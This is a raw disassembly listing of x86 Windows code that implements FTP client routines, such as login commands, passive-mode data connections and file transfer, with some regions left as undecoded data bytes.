cmp eax, 0FFFFFFFFh
jz loc_42E0DC
test eax, eax
jnz short loc_42E03F
mov [esp+18h+var_4], 1
loc_42E03F: ; CODE XREF: sub_42DF40+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42DF82
; ---------------------------------------------------------------------------
loc_42E05A: ; CODE XREF: sub_42DF40+8Dj
sub ebp, 2
mov esi, offset asc_4471E4 ; "\r\n"
mov eax, ebp
loc_42E064: ; CODE XREF: sub_42DF40+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
test cl, cl
jz short loc_42E088
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42E064
loc_42E088: ; CODE XREF: sub_42DF40+130j
xor eax, eax
jmp short loc_42E091
; ---------------------------------------------------------------------------
loc_42E08C: ; CODE XREF: sub_42DF40+12Cj
; sub_42DF40+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42E091: ; CODE XREF: sub_42DF40+14Aj
test eax, eax
jnz short loc_42E0F2
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0AD: ; CODE XREF: sub_42DF40+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0C0: ; CODE XREF: sub_42DF40+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42E0F2
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0DC: ; CODE XREF: sub_42DF40+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42E0F2: ; CODE XREF: sub_42DF40+D2j
; sub_42DF40+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42DF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p
; sub_42EF60:loc_42EF8Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42E253
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42E253
cmp eax, 2
jnz short loc_42E1A5
lea ebp, [esp+118h+var_104]
jmp short loc_42E1A9
; ---------------------------------------------------------------------------
loc_42E1A5: ; CODE XREF: sub_42E170+2Dj
lea ebx, [esp+118h+var_104]
loc_42E1A9: ; CODE XREF: sub_42E170+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42E1B0: ; CODE XREF: sub_42E170+98j
cmp eax, 40h
jnb short loc_42E1C5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42E1C5: ; CODE XREF: sub_42E170+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_438208
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42E20A
test eax, eax
jg short loc_42E241
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42E246
mov eax, [esp+11Ch+var_104]
jmp short loc_42E1B0
; ---------------------------------------------------------------------------
loc_42E20A: ; CODE XREF: sub_42E170+79j
push 100h
xor edi, edi
call near ptr 77C1F2BCh
nop
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E241: ; CODE XREF: sub_42E170+7Dj
mov edi, 1
loc_42E246: ; CODE XREF: sub_42E170+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E253: ; CODE XREF: sub_42E170+19j
; sub_42E170+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42E170 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2B0: ; CODE XREF: ___:0040141Aj
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42E35F ; default
jmp off_42E364[eax*4] ; switch jump
loc_42E2C7: ; DATA XREF: ___:off_42E364o
mov eax, [esp+8] ; jumptable 0042E2C0 case 0
cmp eax, 1
jz short loc_42E2D9
cmp eax, 2
jnz loc_42E35F ; default
loc_42E2D9: ; CODE XREF: ___:0042E2CEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2E8: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2FB: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
push esi ; jumptable 0042E2C0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E33C: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E34F: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42E35F: ; CODE XREF: ___:0042E2BAj
; ___:0042E2D3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r
dd offset loc_42E2E8 ; jump table for switch statement
dd offset loc_42E2FB
dd offset loc_42E33C
dd offset loc_42E34F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E3C0 proc near ; CODE XREF: sub_402266j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov edi, dword_511A6C
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; sprintf
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42E42D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; sprintf
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42E490
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E451: ; CODE XREF: sub_42E3C0+1Bj
; sub_42E3C0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42E3C0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p
; sub_42E3C0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42E4B3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4B3: ; CODE XREF: sub_42E490+15j
mov eax, dword_5103A8
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42E4DC
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42E4DC: ; CODE XREF: sub_42E490+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42E4FC
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4FC: ; CODE XREF: sub_42E490+60j
push esi
lea ecx, [esp+110h+var_100]
push offset aS_3 ; "%s\r\n"
push ecx
call near ptr 77C3F931h
nop
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_4381F6
sub_42E490 endp
; ---------------------------------------------------------------------------
db 85h
; ---------------------------------------------------------------------------
sar byte ptr [edi+1Ah], 68h
jo short near ptr byte_42E5AA
inc esp
add al, ch
mov ch, 88h
xor byte ptr [edi-70h], 83h
les eax, [ebx+esi]
rcr byte ptr [edi+5Eh], 5Bh
add esp, 100h
retn
; ---------------------------------------------------------------------------
mov ecx, [esp+114h]
push ebx
push ecx
call sub_42DE00
add esp, 8
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 3Ah dup(0CCh)
byte_42E5AA db 6 dup(0CCh) ; CODE XREF: ___:0042E534j
; =============== S U B R O U T I N E =======================================
sub_42E5B0 proc near ; CODE XREF: sub_401F73j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42E5FC
cmp edi, 4
jz short loc_42E5D6
cmp edi, 3
jnz short loc_42E5FC
loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj
; sub_42E5B0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_511A6C
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4474B8
push edx
call ebp ; sprintf
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42E490
add esp, 18h
test eax, eax
jz loc_42E7BE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42E7AF ; default
jmp off_42E7CC[eax*4] ; switch jump
loc_42E648: ; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474B0 ; jumptable 0042E641 case 1
mov dl, byte_4474B4
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E663: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov eax, dword_4474A8 ; jumptable 0042E641 case 2
mov cl, byte_4474AC
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E67D: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov edx, dword_4474A0 ; jumptable 0042E641 case 3
mov al, byte_4474A4
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E697: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov ecx, dword_447498 ; jumptable 0042E641 case 4
mov dl, byte_44749C
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j
; sub_42E5B0+CBj ...
test esi, esi
jz short loc_42E703
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42E7BE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42E703: ; CODE XREF: sub_42E5B0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42E870
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42E7BE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42E758
mov eax, [esi]
push eax
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E758: ; CODE XREF: sub_42E5B0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42E79F
mov eax, [esi]
push ebx
push eax
call sub_42ED50
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42E79F
mov ecx, [esi]
push ecx
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j
; sub_42E5B0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; sprintf
add esp, 0Ch
loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj
; sub_42E5B0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42E5B0 endp
; ---------------------------------------------------------------------------
align 4
off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r
dd offset loc_42E663 ; jump table for switch statement
dd offset loc_42E67D
dd offset loc_42E697
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42EB94
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42E8D2
cmp eax, 2
jz short loc_42E8D2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E8D2: ; CODE XREF: sub_42E870+3Aj
; sub_42E870+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42E904
cmp eax, 49h
jz short loc_42E904
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E904: ; CODE XREF: sub_42E870+6Cj
; sub_42E870+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42E9E9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42E490
add esp, 0Ch
test eax, eax
jz loc_42EB94
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42EB94
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
call near ptr 77C41B72h
nop
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_438232
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 4684D75h, 90004474h, 808419E8h, 4C48377h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: sub_42E870+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_438220
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473F468h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh, 90004475h
dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h, 77810DEDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473EC68h
dd 8268E800h, 83907780h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------
loc_42EB94: ; CODE XREF: sub_42E870+2Bj
; sub_42E870+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42E870 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
dd 75144689h, 73EC682Ch, 27E80044h, 90778082h, 5704C483h
dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42ED92
mov ecx, eax
loc_42ED92: ; CODE XREF: sub_42ED50+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_438208
sub_42ED50 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42EF60 proc near ; CODE XREF: sub_40226Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42EF71
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF71: ; CODE XREF: sub_42EF60+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42EF8D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DF40
add esp, 0Ch
jmp short loc_42EFB4
; ---------------------------------------------------------------------------
loc_42EF8D: ; CODE XREF: sub_42EF60+17j
call sub_42E170
add esp, 4
cmp eax, 1
jz short loc_42EF9F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF9F: ; CODE XREF: sub_42EF60+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42EFC0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFC0: ; CODE XREF: sub_42EF60+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42EFFF
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42EFFF
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42EFFF
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42EFF8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFF8: ; CODE XREF: sub_42EF60+93j
mov dword ptr [esi+40h], 0
loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj
; sub_42EF60+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42EF60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F040 proc near ; CODE XREF: sub_402216j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42F051
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F051: ; CODE XREF: sub_42F040+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42F06D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42F110
add esp, 0Ch
jmp short loc_42F08A
; ---------------------------------------------------------------------------
loc_42F06D: ; CODE XREF: sub_42F040+17j
call sub_42E170
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
loc_42F08A: ; CODE XREF: sub_42F040+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42F096
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F096: ; CODE XREF: sub_42F040+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42F0CC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42F0CC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42F0CC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42F0CC: ; CODE XREF: sub_42F040+63j
; sub_42F040+6Aj ...
mov eax, edi
pop edi
pop esi
retn
